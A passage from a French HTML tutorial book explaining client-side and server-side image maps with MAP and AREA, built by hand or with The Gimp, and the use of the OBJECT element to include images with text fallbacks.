clic sur la région (une activation) exécute l’action. Pour créer une image
cliquable, vous associez à un objet (ici à une image) une spécification de
zones géométriques sensibles sur celui-ci.
Les images cliquables sont de deux types : côté client et côté serveur.
j Côté client : elles sont entièrement gérées par l’agent utilisateur de
l’utilisateur. En raison de l’absence d’appel au serveur pour
l’exécution côté client, elles s’exécutent plus rapidement. Il est de
plus possible de les tester en local sur son ordinateur personnel.
Lorsque l’utilisateur active une région d’une image cliquable côté
client avec une souris, l’agent utilisateur interprète les
coordonnées du pixel. L’agent utilisateur sélectionne le lien
spécifié pour la région activée et le suit.
j Côté serveur : quand l’utilisateur active une région d’une image
cliquable côté serveur, les coordonnées du pixel du clic sont
envoyées à l’agent côté serveur, spécifié par l’attribut href de
l’élément A. L’agent côté serveur interprète ces coordonnées et
effectue une certaine action.

Les images cliquables côté client sont préférées à celles côté serveur pour
au moins deux raisons : elles sont accessibles aux personnes navigant avec
des agents utilisateurs non graphiques et elles renvoient une réponse
immédiate quant à la présence du pointeur sur une région active.

Nous allons examiner tour à tour plus en détail ces deux types.

Images cliquables côté client : éléments

MAP et AREA
Les images cliquables côté client ont recours à deux éléments, MAP et
AREA.

Une image cliquable côté client est spécifiée à l’aide de l’élément MAP.
Elle est associée à un autre élément (ici IMG, mais ce pourrait être
d’autres objets, comme nous le verrons plus tard) via l’attribut usemap
de celui-ci.

210 LE GUIDE COMPLET

 Image cliquable Chapitre 6

Pour voir comment mettre en œuvre une image cliquable, nous allons
d’abord rassembler le matériel nécessaire : en l’occurrence, une simple
image de fond de carte, récupérée sur l’excellent site de Sciences-Po.
1 Ouvrez votre navigateur, puis naviguez jusqu’à l’URI
[Link]/cartographie/ .

Figure 6.39 :
Site du département
Cartographie de
Sciences-Po

2 Sélectionnez Fonds de cartes, puis dans la page qui s’affiche

descendez jusqu’à la section Etats et sélectionnez la carte France
(régions).

Figure 6.40 :
Page Fonds de
cartes

LE GUIDE COMPLET 211

 Chapitre 6 Couleurs et images

Effectuez sur ce fichier un clic avec le bouton droit de la souris et

choisissez Enregistrer sous. Comme vous l’aviez fait
précédemment, naviguez jusqu’à votre dossier MonSite/Images
pour y enregistrer le fichier (nommé [Link]).

C’est fait : vous disposez d’une image prête à être transformée en image
cliquable. Poursuivons en créant la page Web qui va l’employer.
3 Ouvrez le Bloc-Notes, puis ouvrez le fichier region1_6_1.html. Il
va nous servir de squelette pour créer une nouvelle page.
4 Modifiez d’abord le contenu de la balise TITLE :
<TITLE>R&eacute;gions fran&ccedil;aises">

5 Supprimez tout le contenu de l’élément BODY.

6 Entrez dans l’élément BODY un nouveau titre de niveau 1 :
<H1 align="center">Carte de France avec
r&eacute;gions</H1>

7 Placez-vous en dessous et créez comme suit un élément IMG

inclus dans un élément P :
<P><IMG src="Images/[Link]" usemap="#freg"
alt="Carte de France">
</P>

Remarquez l’ajout dans la balise de l’élément IMG d’un nouvel attribut,

usemap. Celui-ci signale que l’image spécifiée par l’URI valeur de
l’attribut src va être une image cliquable côté client, définie par un
élément MAP. La valeur de l’attribut usemap de l’élément IMG doit
correspondre avec celle de l’attribut name de l’élément MAP associé.
8 Ajoutez ensuite dans l’élément P, après l’élément IMG, un
élément MAP associé pour le moment vide :
<MAP name="freg">
</MAP>

La valeur de l’attribut name de l’élément MAP correspond bien à celle de

l’attribut usemap de l’élément IMG.
9 Par sécurité, enregistrez votre fichier sous le nom [Link].
Le second type d’élément capital pour une image cliquable est l’élément
AREA. Cet élément possède deux attributs : l’attribut shape, qui spécifie
la forme d’une région, et l’attribut coords, qui spécifie la position et la
forme de la région à l’écran.

212 LE GUIDE COMPLET

 Image cliquable Chapitre 6

10 Ajoutez ce qui suit dans l’élément MAP :

<MAP name=”freg”>
<AREA shape="rect" coords="161,263,204,323"
href="[Link]"
alt = "R&eacute;gion Poitou-Charentes"
title="Poitou-Charentes">
<AREA shape="circle" coords="274,167,21"
href="Ile de [Link]"
alt="R&eacute;gion Ile de France"
title="Ile de France">
<AREA shape="polygon"
coords="243,172,286,209,271,283,225,283,197,235,243,172"
href="[Link]"
alt="R&eacute;gion Centre"
title="Centre">
</MAP>

11 Enregistrez à nouveau votre fichier, puis examinez-le dans votre

navigateur.

Remarquez que, lorsque vous déplacez le pointeur sur une des zones
définies, celui-ci se transforme en main, indiquant la présence d’un lien.
En outre, si vous le laissez un peu plus longtemps sur la zone, la valeur
de l’attribut title s’affiche.

Figure 6.41 :
Aspect de l’image cliquable

Si vous cliquez sur une des zones, vous obtenez un message d’erreur :
les pages secondaires spécifiées par les valeurs des attributs
href n’existent pas !

LE GUIDE COMPLET 213

 Chapitre 6 Couleurs et images

L’attribut shape accepte quatre valeurs possibles, dont trois sont

employées dans l’exemple précédent :
j default spécifie la région entière.
j rect définit une région rectangulaire.
j circle définit une région circulaire.
j poly définit une région polygonale.

Le nombre et l’ordre des valeurs de l’attribut coords dépendent de la

valeur de l’attribut shape, comme le montre le tableau suivant. Il s’agit
d’une liste de valeurs longueur, séparées par une virgule.

Tableau 6.2 : Valeurs des attributs shape et coords d’un élément AREA

Valeur de Formes Coordonnées (coords) nécessaires

l’attribut
shape
default Toute l’image Néant

Rect Rectangle En haut à gauche (coordonnées x et y),

en bas à droite (coordonnées x et y)

circle Cercle Centre (coordonnées x et y), rayon

polygon Polygone Chaque sommet (coordonnées x et y). le

dernier couple de coordonnées devrait
être identique au premier pour "fermer"
le polygone.

Je suppose que vous restez dubitatif quant aux coordonnées de

l’exemple précédent… Comment est-il possible de les déterminer
simplement ? Deux solutions s’offrent à vous.

Création manuelle d’une image cliquable

La première méthode est la suivante :
1 Ouvrez votre programme de dessin habituel et chargez l’image
concernée (ici, [Link]).
2 Placez votre curseur à l’emplacement approximatif du coin
supérieur d’un rectangle, à l’emplacement de la région Poitou-
Charentes. Pratiquement tous les programmes de dessin affichent
quelque part les coordonnées actuelles du curseur.

214 LE GUIDE COMPLET

 Image cliquable Chapitre 6
2

Figure 6.42 : Les coordonnées de la position actuelle du curseur (ici

encadrées d’un ovale) dans le logiciel de dessin Microsoft Paint

3 Notez ces coordonnées, puis placez-vous sur le coin inférieur

droit du rectangle pour la région Poitou-Charentes et notez à
nouveau les coordonnées. Vous disposez des quatre paramètres
nécessaires pour la définition d’une forme de type rectangle, que
vous n’avez plus qu’à reporter dans le code :
<AREA shape="rect" coords="161,263,204,323"
href="[Link]"
alt="R&eacute;gion Poitou-Charentes"
title="Poitou-Charentes">

Remarquez que vous n’obtiendrez pas forcément tout à fait les

mêmes coordonnées : quelques pixels de différence ne sont pas un
problème, l’indication visuelle procurée à l’utilisateur étant
essentiellement la modification de la forme du curseur (indiquant
un lien) ainsi qu’éventuellement l’apparition de l’infobulle définie
par l’attribut title.
4 Pour le cercle, placez-vous dans la région Île-de-France au
centre du cercle, et notez ses coordonnées. Déplacez-vous

LE GUIDE COMPLET 215

 Chapitre 6 Couleurs et images

horizontalement ou verticalement pour définir le rayon souhaité et

notez la différence entre coordonnées : c’est le rayon. Vous
disposez des trois paramètres nécessaires pour la définition d’une
forme de type cercle, que vous n’avez plus qu’à reporter dans le
code :
<AREA shape="circle" coords="274,167,21"
href="Ile de [Link]"
alt="R&eacute;gion Ile de France"
title="Ile de France">

5 La démarche est un peu plus laborieuse pour un polygone :

placez-vous sur un des angles de la région Centre et notez ses
coordonnées. Déplacez-vous successivement sur les autres
sommets du polygone souhaité et notez leurs coordonnées.
Lorsque vous en avez terminé, reportez toutes ces coordonnées
dans votre code. Ce pourrait être comme suit :
<AREA shape="polygon"
coords="243,172,286,209,271,283,225,283,197,235,243,172"
href="[Link]"
alt="R&eacute;gion Centre"
title="Centre">

Remarquez que le dernier sommet doit être identique au premier. Si

toutefois vous ne le spécifiez pas, les agents utilisateurs devraient être en
mesure de le générer d’eux-mêmes.

Le rayon
Quand la valeur du rayon est un pourcentage, l’agent utilisateur
devrait calculer le rayon final par rapport à la hauteur et à la largeur de
l’objet associé. Le rayon devrait être la plus petite valeur des deux.

Création d’une image cliquable à l’aide d’un

éditeur
La deuxième méthode consiste à recourir à un logiciel de création
d’images cliquables. Il en existe un certain nombre, mais nous vous
recommandons l’incomparable logiciel de dessin d’Open Source gratuit,
The Gimp, qui dispose d’un tel utilitaire intégré.
1 Si vous n’en disposez pas déjà, téléchargez The Gimp depuis
[Link] et installez-le sur votre ordinateur.
C’est ici la page Windows, mais il existe des versions Linux (la

216 LE GUIDE COMPLET

 Image cliquable Chapitre 6

version originelle) et Mac. Vous aurez également besoin de

l’environnement d’exécution GTK +2 : n’oubliez pas de le
télécharger et de l’installer également.
2 Lancez The Gimp et chargez l’image [Link].
3 Choisissez Filtres > Web > Image cliquable (imagemap).

Figure 6.43 :
Création d’une
image cliquable
à l’aide de The
Gimp

4 Choisissez Rectangle dans le menu de gauche, puis dessinez un

rectangle sur la région Poitou-Charentes .

Figure 6.44 : Utilisez le rectangle

5 Renseignez les éléments nécessaires dans la fenêtre Paramètres

de la zone qui s’ouvre, puis cliquez sur OK.

LE GUIDE COMPLET 217

 Chapitre 6 Couleurs et images

Figure 6.45 :
Fenêtre Paramètres de la
zone

6 Choisissez Cercle dans le menu de gauche, puis dessinez un

cercle dans la région Île-de-France (attention : The Gimp trace un
cercle en spécifiant le centre, puis en définissant le rayon).
Renseignez les éléments nécessaires dans la fenêtre qui s’ouvre,
puis cliquez sur OK.
7 Choisissez Polygone dans le menu de gauche, puis dessinez un
polygone dans la région Centre. Renseignez les éléments
nécessaires dans la fenêtre qui s’ouvre, puis cliquez sur OK. La
fenêtre de The Gimp devrait afficher quelque chose de similaire à
la figure suivante.

Figure 6.46 : Image cliquable créée à l’aide de The Gimp

218 LE GUIDE COMPLET

 Image cliquable Chapitre 6

Remarquez comme il est facile de définir une région polygonale à l’aide

d’un tel outil !
8 Choissez dans le menu Afficher > Source. Vous voyez le code
source de l’image ainsi créée s’afficher. Vous pouvez copier-coller
ce code (présenté en intégralité dans le listing suivant) dans votre
fichier, pour y ajouter d’autres attributs, comme l’attribut title.

Figure 6.47 :
Affichage du code
source de l’image
cliquable créée par
The Gimp

Listing 6-1 : Code source de l’image cliquable créée par The Gimp
<img src="[Link]" width="510" height="523" border="0"
usemap="#map" />
<map name="map">
<!-- #$-:Image Map file created by GIMP Imagemap Plugin -->
<!-- #$-:GIMP Imagemap Plugin by Maurits Rijk -->
<!-- #$-:Please do not edit lines starting with "#$" -->
<!-- #$VERSION:2.0 -->
<!-- #$AUTHOR:Fabrice -->
<area shape="rect" coords="163,265,213,317"
alt="Région Poitou-Charentes"
href="[Link]" />
<area shape="circle"
coords="276,165,20" alt="Région Ile de France"
href="Ile de [Link]" />
<area shape="poly" coords="243,173,285,210,292,264,270,
279,231,280,210,253,191,242,198,224,221,214,220,
186,229,177,224,166,240,161,243,169,246,173,245,171"
alt="Région Centre" href="[Link]" />
</map>

En examinant ce code et en le comparant à celui créé « manuellement »

à l’aide de Paint, vous voyez que les coordonnées diffèrent légèrement.

LE GUIDE COMPLET 219

 Chapitre 6 Couleurs et images

Comme nous l’avons déjà souligné, cela ne présente pas la moindre

importance. Remarquez également que le polygone est beaucoup plus
complexe : nous avons suivi presque exactement les frontières de la
région Centre. Par ailleurs, The Gimp a ajouté quelques commentaires,
qu’il est de bon ton de conserver, tandis que son balisage respecte la
spécification XHTML (balises <IMG /> et <AREA />).

Recouvrement de zones
Si deux régions définies ou plus se chevauchent, le premier élément qui
définit une région dans le document est prioritaire. Il est ainsi possible
de spécifier des ancres pour créer des zones inactives dans une image
cliquable. Dans l’exemple ci-dessous, la première ancre spécifie une
petite région circulaire dépourvue de lien, tandis que la seconde spécifie
une région circulaire de taille supérieure de même centre que la
précédente. La combinaison des deux crée un anneau cliquable dont le
centre est inactif et le bord actif. L’ordre des définitions des ancres est
capital : le petit cercle doit être prioritaire par rapport au grand cercle.
<MAP name="carte1">
<P>
<A shape="circle" coords="100,200,50" title="Lien inactif"</A>
<A href="lien_anneau.html" shape="circle"
coords="100,200,250" title="Lien actif".</A>
</MAP>

Vous pourriez également recourir à l’attribut nohref de l’élément AREA

pour déclarer que la région ne possède pas de lien associé :
<A shape="circle" coords="100,200,50" nohref
title="Lien inactif"</A>

Vous pourriez souhaiter doter la totalité de l’image d’un lien. Cela est
possible en ajoutant un élément AREA dont l’attribut shape possède
comme valeur default. Compte tenu de ce qui est exposé plus haut, ce
dernier élément doit se trouver juste avant la balise de fermeture
</MAP>, de façon que tous les éléments AREA précédemment définis
soient prioritaires. Le code serait ici par exemple :
<AREA shape="default" HREF="[Link]"
alt="Carte de France par régions">

Les images cliquables sont largement employées pour proposer des

barres de navigation ressemblant à tout sauf à une barre. Le recours à un
graphisme plutôt qu’à du texte permet d’employer des polices de
caractères « exotiques ». C’est une méthode largement employée sur les
sites destinés aux enfants.

220 LE GUIDE COMPLET

 Image cliquable Chapitre 6

Figure 6.48 : Exemple de site destiné à des enfants et recourant à une

image cliquable pour la navigation

En conclusion, l’élément MAP peut être associé à plusieurs éléments

outre IMG : OBJECT et INPUT. Il est associé à un élément via l’attribut
usemap de celui-ci. Il peut s’employer sans image associée pour des
mécanismes de navigation généraux.

Le recours aux éléments AREA n’est toutefois pas la seule possibilité

d’emploi de l’élément MAP. Le modèle de contenu de celui-ci permet en
effet d’y placer :
j Un ou plusieurs éléments AREA. Ces éléments, dépourvus de
contenu, spécifient les régions géométriques de l’image cliquable
et les liens qui sont associés à chaque région. Les agents
utilisateurs ne restituent pas général les éléments AREA : mieux
vaut fournir un texte de remplacement pour chaque élément AREA
à l’aide de l’attribut alt.
j Un contenu de type bloc composé entre autres d’éléments A
spécifiant les régions géométriques de l’image cliquable et le lien
associé à chaque région. Les agents utilisateurs devraient restituer
le contenu de type bloc d’un élément MAP : cette méthode sert à
créer des documents plus accessibles.
j Un contenu mixte d’éléments AREA et d’éléments A. En ce cas, les
agents utilisateurs doivent ignorer les éléments AREA.

LE GUIDE COMPLET 221

 Chapitre 6 Couleurs et images

En mélangeant les contenus, les agents utilisateurs anciens prendront en

charge les cartographies spécifiées par les éléments AREA, tandis que les
agents utilisateurs récents tireront profit des contenus de type bloc plus
étoffés.

Pensez à toujours offrir des alternatives textuelles aux images

cliquables, au cas où les graphismes ne seraient pas disponibles ou les
utilisateurs ne pourraient y accéder. Les agents utilisateurs peuvent
employer le texte de l’attribut alt pour créer des liens textuels à la
place des images cliquables graphiques. De tels liens peuvent être
activés de diverses façons (clavier, commande vocale, etc.).

Sachez enfin que l’élément MAP ne présente pas de compatibilité

descendante avec les agents utilisateurs HTML 2.0 : il sera ignoré par de
tels agents utilisateurs.

Images cliquables côté serveur

Plutôt qu’une image côté client, il est possible de créer une image
cliquable côté serveur. Les images cliquables côté serveur peuvent se
révéler intéressantes lorsque l’image cliquable s’avère trop compliquée à
réaliser côté client, mais font peser un poids supplémentaire sur le
serveur, ce qui peut être diversement apprécié.

Lorsqu’une image cliquable côté serveur est définie pour un élément

IMG, celui-ci doit se trouver dans un élément A et posséder l’attribut
booléen ismap.
<P><A href="[Link]
<IMG src="[Link]" ismap alt="Cible"></A>

La différence fondamentale avec une image cliquable côté client est que
la définition des régions (effectuée dans le cas précédent avec l’élément
MAP) est ici effectuée par un script en ASCII situé sur le serveur. Le
contenu du fichier de script [Link] cité dans l’exemple ci-dessus
pourrait être quelque chose comme ceci :
default ../[Link] 0, 0, 100, 460
rect ../[Link] 0, 1, 100, 65
rect ../[Link] 0, 72, 100, 142
rect ../[Link] 0, 146, 100, 213
rect ../[Link] 0, 219, 100, 283
rect ../[Link] 0, 288, 100, 351
rect ../[Link] 0, 355, 100, 403
rect ../[Link] 0, 407, 100, 453

222 LE GUIDE COMPLET

 Image cliquable Chapitre 6

Les images cliquables côté serveur ont été développées à l’origine par
deux organismes, le NCSA et le CERN. Malgré des efforts certains de
standardisation, il subsiste quelques petites différences entre eux, ainsi
qu’au sein de leurs mises en œuvre. Vous devez vérifier le standard
employé par le serveur Web avant de créer un script d’image cliquable
côté serveur. L’exemple précédent est au format NCSA, mais voici la
même chose au format CERN :
rect (0,1) (100,65) ../[Link]
rect (0,72) (100,142) ../[Link]
rect (0,146) (100,213) ../[Link]
rect (0,219) (100,283) ../[Link]
rect (0,288) (100,351) ../[Link]
rect (0,355) (100,403) ../[Link]
rect (0,407) (100,453) ../[Link]
default ../[Link]

Lorsque l’utilisateur active un lien en cliquant sur l’image, les

cordonnées de ce clic à l’écran sont directement transmises au serveur
qui héberge le script. Les coordonnées à l’écran sont exprimées par des
valeurs en pixels d’écran relatives à l’image.

Pour transmettre au serveur le point cliqué, l’agent utilisateur dérive un

nouvel URI à partir de l’URI spécifié par l’attribut href de l’élément A,
en lui rajoutant à la fin le caractère « ? » suivi des coordonnées « x » et
« y », séparées par une virgule. Le lien est alors suivi en utilisant le
nouvel URI. Par exemple, dans l’exemple donné, si l’utilisateur clique
au point « x=10, y=27 », l’URI dérivé sera « [Link]
.com/cgi−bin/test?10,27 ».

Les agents utilisateurs ne disposant d’aucun moyen de sélectionner des

coordonnées spécifiques (par exemple, un agent utilisateur non
graphique qui s’appuie sur une saisie au clavier, un agent utilisateur
vocal, etc.), doivent envoyer les coordonnées « 0,0 » au serveur lors
de l’activation du lien.

En conclusion, mieux vaut ne pas créer d’images cliquables côté

serveur : celles-ci sont complètement inaccessibles aux utilisateurs de
divers agents utilisateurs comme les navigateurs texte seul et les
moteurs de recherche comme Google. Si vous devez absolument
employer des images cliquables côté serveur, ajoutez une barre de
navigation en texte seul en dessous. Celle-ci doit inclure de vrais liens
texte vers chacune des pages auxquelles vous pourriez accéder en
cliquant sur l’image cliquable.

LE GUIDE COMPLET 223

 Chapitre 6 Couleurs et images

Une image cliquable côté serveur ne peut être définie que pour des
éléments IMG et INPUT, ce dernier devant alors être de type « image ».

Pour terminer, si l’élément IMG (dont les attributs sont résumés dans le
tableau suivant) reste présent en HTML 4.01, il y est toutefois
déconseillé en raison de ses limites : en effet, il ne répond pas au
problème plus général de l’inclusion des types de médias nouveaux ou à
venir et entraînent des problèmes d’accessibilité. Il convient désormais
de lui préférer l’élément OBJECT.

Tableau 6.3 : Attributs de l’élément IMG

Attribut Valeur(s) Effet

src URI Fournit l’emplacement de l’image. Cet

attribut est obligatoire.

align center, left, Place l’image respectivement au

right centre, à droite ou à gauche. Peut
autoriser le déroulement du texte
autour du graphisme.

border Nombre Taille du cadre de l’image, exprimée

en pixels (0 pour pas de cadre).

alt Texte de description Procure une alternative textuelle au

graphisme.

usemap Valeur de l’attribut Signale que cette image est une

name d’un élément image cliquable côté client, définie par
MAP associé l’élément MAP associé.

ismap Néant Signale que cette image est une

image cliquable côté serveur.

6.5. Inclusion générique d’images :

élément OBJECT
Pour inclure des images, les auteurs devraient désormais privilégier
l’élément OBJECT. Il s’agit d’un élément de type ligne, devant
obligatoirement posséder une balise d’ouverture et une balise de
fermeture, contrairement à IMG qui ne possédait pas de balise de
fermeture.

En effet, la plupart des agents utilisateurs possèdent des mécanismes

intégrés pour la restitution des types de données communs, tels que le

224 LE GUIDE COMPLET

 Inclusion générique d’images : élément OBJECT Chapitre 6

texte, les images GIF, les couleurs, les polices et une poignée d’éléments
graphiques. Pour restituer les types de données qu’ils ne reconnaissent
pas nativement, les agents utilisateurs lancent en général des
applications externes. L’élément OBJECT permet aux auteurs de mieux
contrôler si les données doivent être restituées de manière externe ou par
un certain programme, spécifié par l’auteur, qui restitue ces données au
sein de l’agent utilisateur.

Voici comment employer l’élément OBJECT pour inclure une image.

1 Ouvrez le Bloc-Notes, puis ouvrez le fichier region1_6_1.html.
2 Modifiez d’abord la version du document :
<META name ="version" content="1.6.2">

3 Remplacez l’élément IMG par ce qui suit :

<OBJECT data="Images/coucher de [Link]"
type="image/gif" width="267" height="200"
title="Un coucher de soleil sur le lac de Linciel">
</OBJECT>

4 Enregistrez votre fichier sous le nom region1_6_2.html, puis

examinez-le dans votre navigateur.

Figure 6.49 : Inclusion d’image à l’aide de l’élément OBJECT

Visuellement, le recours à l’élément OBJECT plutôt qu’à l’élément IMG

ne produit aucune différence (reportez-vous à la figure de la page 242
pour comparer). Revenez au code pour l’examiner à nouveau. Le nouvel
élément possède deux nouveaux attributs :

LE GUIDE COMPLET 225

 Chapitre 6 Couleurs et images

j L’attribut data de l’élément OBJECT remplace l’élément src de

l’élément IMG : c’est un URI, pouvant être interprété relativement
à la valeur de l’attribut optionnel codebase et qui l’est par défaut
relativement à l’URI de base du document.
j L’attribut type spécifie le type des données spécifiées par l’URI
de l’attribut data. Cet attribut facultatif est toutefois
recommandé : il évite le chargement par l’agent utilisateur
d’informations dont il ne peut reconnaître le type de contenu. Si la
valeur de cet attribut diffère de l’en-tête HTTP Content-Type
renvoyé par le serveur quand l’objet est renvoyé, c’est l’en-tête
HTTP Content-Type qui a priorité.

Remarquez également que nous avons supprimé l’attribut alt et sa

valeur. En effet, une des caractéristiques les plus intéressantes de
l’élément OBJECT est qu’il fonctionne un peu comme la classique
instruction si…sinon (if… else). Autrement dit, il peut posséder un
contenu interprété uniquement s’il est impossible d’interpréter le
contenu de sa balise d’ouverture. Pour disposer d’un texte alternatif
affiché au cas où l’agent utilisateur ne peut interpréter l’image, procédez
comme suit :
5 Modifiez l’élément OBJECT en insérant le texte ci-dessous juste
avant la balise de fermeture </OBJECT> :
<OBJECT data="Images/coucher de [Link]"
type="image/gif" width="267" height="200"
title="Un coucher de soleil sur le lac de Linciel">
<!—Si l’image ne peut être affichée, afficher le texte -->
Coucher de soleil sur le lac de Linciel
</OBJECT>

6 Enregistrez à nouveau votre fichier, sous le même nom.

En l’examinant dans votre navigateur, vous ne constaterez aucune
différence. Cette syntaxe semble n’être qu’une nuance, mais elle prend
toutefois tout son sens lorsque vous savez qu’il est possible d’imbriquer
des éléments OBJECT, ainsi que d’employer ceux-ci pour spécifier bien
d’autres types de contenus, dont des scripts. Prenons un exemple.
1 Ouvrez le fichier [Link].
2 Modifiez d’abord la version du document :
<META name ="version" content="1.6.3">

226 LE GUIDE COMPLET

 Inclusion générique d’images : élément OBJECT Chapitre 6

3 Modifiez comme suit le contenu de la première cellule du tableau.

Attention, veillez à bien refermer les éléments OBJECT que vous
allez ajouter à la fin du fragment du code :
<TD rowspan="3">
<!-- Essayer d’abord un applet en Python -->
<OBJECT title="Coucher de soleil sur le lac de Linciel"
classid="[Link]">
<!-- Sinon, essayer l’animation MNG -->
<OBJECT data="[Link]" type="application/mng">
<!-- Sinon, essayer l’image JPEG -->
<OBJECT data="Images/coucher de [Link]"
type="image/gif" width="267" height="200"
title="Un coucher de soleil sur le lac de Linciel">
<!-- Sinon, le texte en dernier recours -->
Coucher de soleil sur le lac de Linciel
</OBJECT>
</OBJECT>
</OBJECT>
</TD>

4 Enregistrez votre fichier sous le nom region1_6_3.html, puis

examinez-le dans votre navigateur.

Figure 6.50 : Possibilités alternatives à l’aide de l’élément OBJECT

Le navigateur étant pour le moment incapable d’interpréter un script

Python ou une animation MNG (souvenez-vous : c’est le format
d’animation dérivé de PNG), il affiche la première possibilité reconnue,
ici l’image JPEG. Remarquez que Firefox signale par une barre de
message que cette page nécessite des modules complémentaires (plug-

LE GUIDE COMPLET 227

 Chapitre 6 Couleurs et images

ins) et propose d’essayer de les installer. Nous reviendrons dans le

Chapitre 10, consacré aux scripts, sur l’emploi de l’élément OBJECT
avec les scripts.

Vous voyez ici une partie de la souplesse fantastique offerte par cet
élément. Le reste ne dépend que de votre imagination.

Bien évidemment, cet élément permet également l’insertion d’images

cliquables, côté client ou côté serveur. Commençons par une image
cliquable côté client.
1 Revenez au fichier region1_6_2.html.
2 Modifiez d’abord la version du document :
<META name ="version" content="1.6.3">

3 Modifiez le code comme suit. Attention, n’oubliez pas de refermer

l’élément OBJECT après la fermeture de l’élément MAP !
<P>
<OBJECT data="Images/[Link]" datatype="image/GIF"
usemap="#freg">
<MAP name="freg">
<P>Quelques précisions :
<A href="[Link]" shape="rect"
coords="161,263,204,323" title="Poitou-Charentes">
R&eacute;gion Poitou-Charentes</A>
<A href="Ile de [Link]" shape="circle"
coords="274,167,21" title="Ile de France">
R&eacute;gion Ile de France</A>
<A href="[Link]" shape="polygon"
coords="243,172,286,209,271,283,225,283,
197,235,243,172" alt=" " title="Centre">
R&eacute;gion Centre</A>
</MAP>
</OBJECT></P>

Remarquez que l’élément MAP est « dissimulé » dans le contenu de

l’élément OBJECT. Nous ne voulons pas restituer le contenu de
l’élément MAP lorsque l’élément OBJECT est restitué. Il ne le sera que si
l’élément OBJECT ne peut l’être.
4 Enregistrez votre fichier sous le nom [Link], puis
examinez-le dans votre navigateur (voir Figure 6.51).

228 LE GUIDE COMPLET

 Inclusion générique d’images : élément OBJECT Chapitre 6

Cette figure ne diffère en apparence en rien de la version IMG (reportez-

vous à la figure de la page 242). Nous allons simuler un agent utilisateur
incapable d’interpréter l’image, en modifiant le nom et le type de
l’image :

Figure 6.51 :
Image cliquable à
l’aide de l’élément
OBJECT

5 Modifiez comme suit l’élément OBJECT :

<OBJECT data="Images/[Link]"
datatype="image/MNG" usemap="#freg">

6 Enregistrez votre fichier sous le nom [Link], puis

examinez-le dans votre navigateur.

Figure 6.52 :
Alternative
proposée grâce à
un élément
OBJECT

LE GUIDE COMPLET 229

 Chapitre 6 Couleurs et images

L’image ne pouvant être affichée, vous voyez à la place un menu

textuel.

Vous pourriez souhaiter que l’image cliquable soit restituée même si

l’agent utilisateur est incapable de restituer l’élément OBJECT. Par
exemple, en associant une image cliquable à un élément OBJECT et en
plaçant une barre de navigation textuelle en bas de page. Pour cela,
placez l’élément MAP en dehors de l’élément OBJECT :
Listing 6-2 : Elément MAP restitué
<HTML>
...
<BODY>
<H1 align="center">Carte de France avec régions</H1>
<P>
<OBJECT data="Images/[Link]"
datatype="image/MNG" usemap="#freg">
</OBJECT>
</P>
... reste du corps
<MAP name="freg">
<P>Quelques précisions :
<A href="[Link]" shape="rect"
coords="161,263,204,323"
title="Poitou-Charentes">
R&eacute;gion Poitou-Charentes</A>
<A href="Ile de [Link]" shape="circle"
coords="274,167,21" title="Ile de France">
R&eacute;gion Ile de France</A>
<A href="[Link]" shape="polygon"
coords="243,172,286,209,271,283,225,
283,197,235,243,172" title="Centre">
R&eacute;gion Centre</A>
</MAP>
</BODY>
</HTML>

La figure suivante montre l’aspect de cette page dans un navigateur (voir

Figure 6.53).

Comme avec l’élément IMG, vous pouvez créer une image cliquable en
employant des éléments AREA.
1 Ouvrez le fichier [Link].
2 Modifiez d’abord la version du document :
<META name ="version" content="1.6.4">

230 LE GUIDE COMPLET

 Inclusion générique d’images : élément OBJECT Chapitre 6

Figure 6.53 :
Affichage simultané de l’image
cliquable et de liens textuels

3 Remplacez l’élément IMG par un élément OBJECT, comme suit :

<P>
<OBJECT data="Images/[Link]" datatype="image/GIF"
✂ usemap="#freg">
<P> Carte des France avec r&eacute;gions
</OBJECT>
</P>

4 Enregistrez votre fichier sous le nom [Link], puis

examinez-le dans votre navigateur (voir Figure 6.54).

Une fois encore, cette figure ne diffère apparemment en rien de la

version IMG (reportez-vous à la figure de la page image06_34 ).

La présence de l’attribut usemap sur un élément OBJECT implique que

l’objet inclus soit une image cliquable côté client associée. En ce cas,
l’agent utilisateur peut produire une interaction utilisateur avec cet
élément OBJECT, uniquement en fonction de l’image cliquable côté
client. Ceci permet à certains agents utilisateurs comme les navigateurs
vocaux ou les robots d’interagir avec l’élément OBJECT sans devoir le
traiter. L’agent utilisateur peut même choisir de ne pas ramener (ou
traiter) l’objet. Lorsqu’un élément OBJECT possède une image cliquable
associée, vous ne devez pas supposer que l’objet sera traité par tous les
agents utilisateurs.

LE GUIDE COMPLET 231

 Chapitre 6 Couleurs et images

Figure 6.54 :
Image cliquable à
l’aide de l’élément
OBJECT et
d’éléments AREA

L’élément OBJECT peut aussi apparaître comme contenu de l’élément

HEAD. Les agents utilisateurs ne restituant généralement pas les éléments
placés dans la section HEAD, veillez à ce qu’aucun élément OBJECT situé
dans la section HEAD ne spécifie un contenu qui peut être restitué.

Le Chapitre 7, traitant des jeux d’encadrement, propose un exemple

d’inclusion d’élément OBJECT dans l’élément HEAD. De même, le
Chapitre 9, traitant des formulaires, procure quelques précisions sur
l’emploi d’éléments OBJECT dans les formulaires.

Tableau 6.4 : Principaux attributs de l’élément OBJECT relatifs aux images

Attribut Valeur(s) Effet

data Uri Spécifie la localisation des données de l’objet,

par exemple les données d’images pour les
objets définissant des images ou, plus
généralement, la forme sérialisée d’un objet
qui peut être utilisée pour recréer cet objet.

type type-de-contenu Facultatif. Spécifie le type de contenu des

données spécifiées par l’attribut data.

usemap Néant Signale que l’objet associé est une image

cliquable.

232 LE GUIDE COMPLET

 Inclusion générique d’images : élément OBJECT Chapitre 6

Tableau 6.5 : Attributs de l’élément OBJECT

Attribut Valeur(s) Effet

classid Uri Spécifier la localisation de l’implémentation

d’un objet via un URI. Peut être employé en
combinaison ou en remplacement de
l’attribut data, selon le type de l’objet
impliqué.

codebase Uri Spécifie le chemin de base qui sert à la

résolution des URI relatifs spécifiés par les
attributs classid, data et archive.
Quand il est absent, sa valeur par défaut
correspond à l’URI de base du document
courant.

codetype type-de-contenu Spécifie le type de contenu des données

attendues lors du chargement de l’objet
spécifié par l’attribut classid. Cet attribut
est optionnel, mais recommandé lorsque
l’attribut classid est spécifié. Il permet en
effet à l’agent utilisateur d’éviter le
chargement des informations dont les
types ne sont pas reconnus. Quand il est
absent, sa valeur par défaut est celle de
l’attribut type.

data Uri Spécifie la localisation des données de

l’objet, par exemple les données d’images
pour les objets définissant des images, ou
plus généralement, la forme sérialisée d’un
objet qui peut être utilisée pour recréer cet
objet.

type type-de-contenu Facultatif. Spécifie le type de contenu des

données spécifiées par l’attribut data.

archive liste-uri Spécifie une liste d’URI, séparés par des

espaces, des archives contenant les
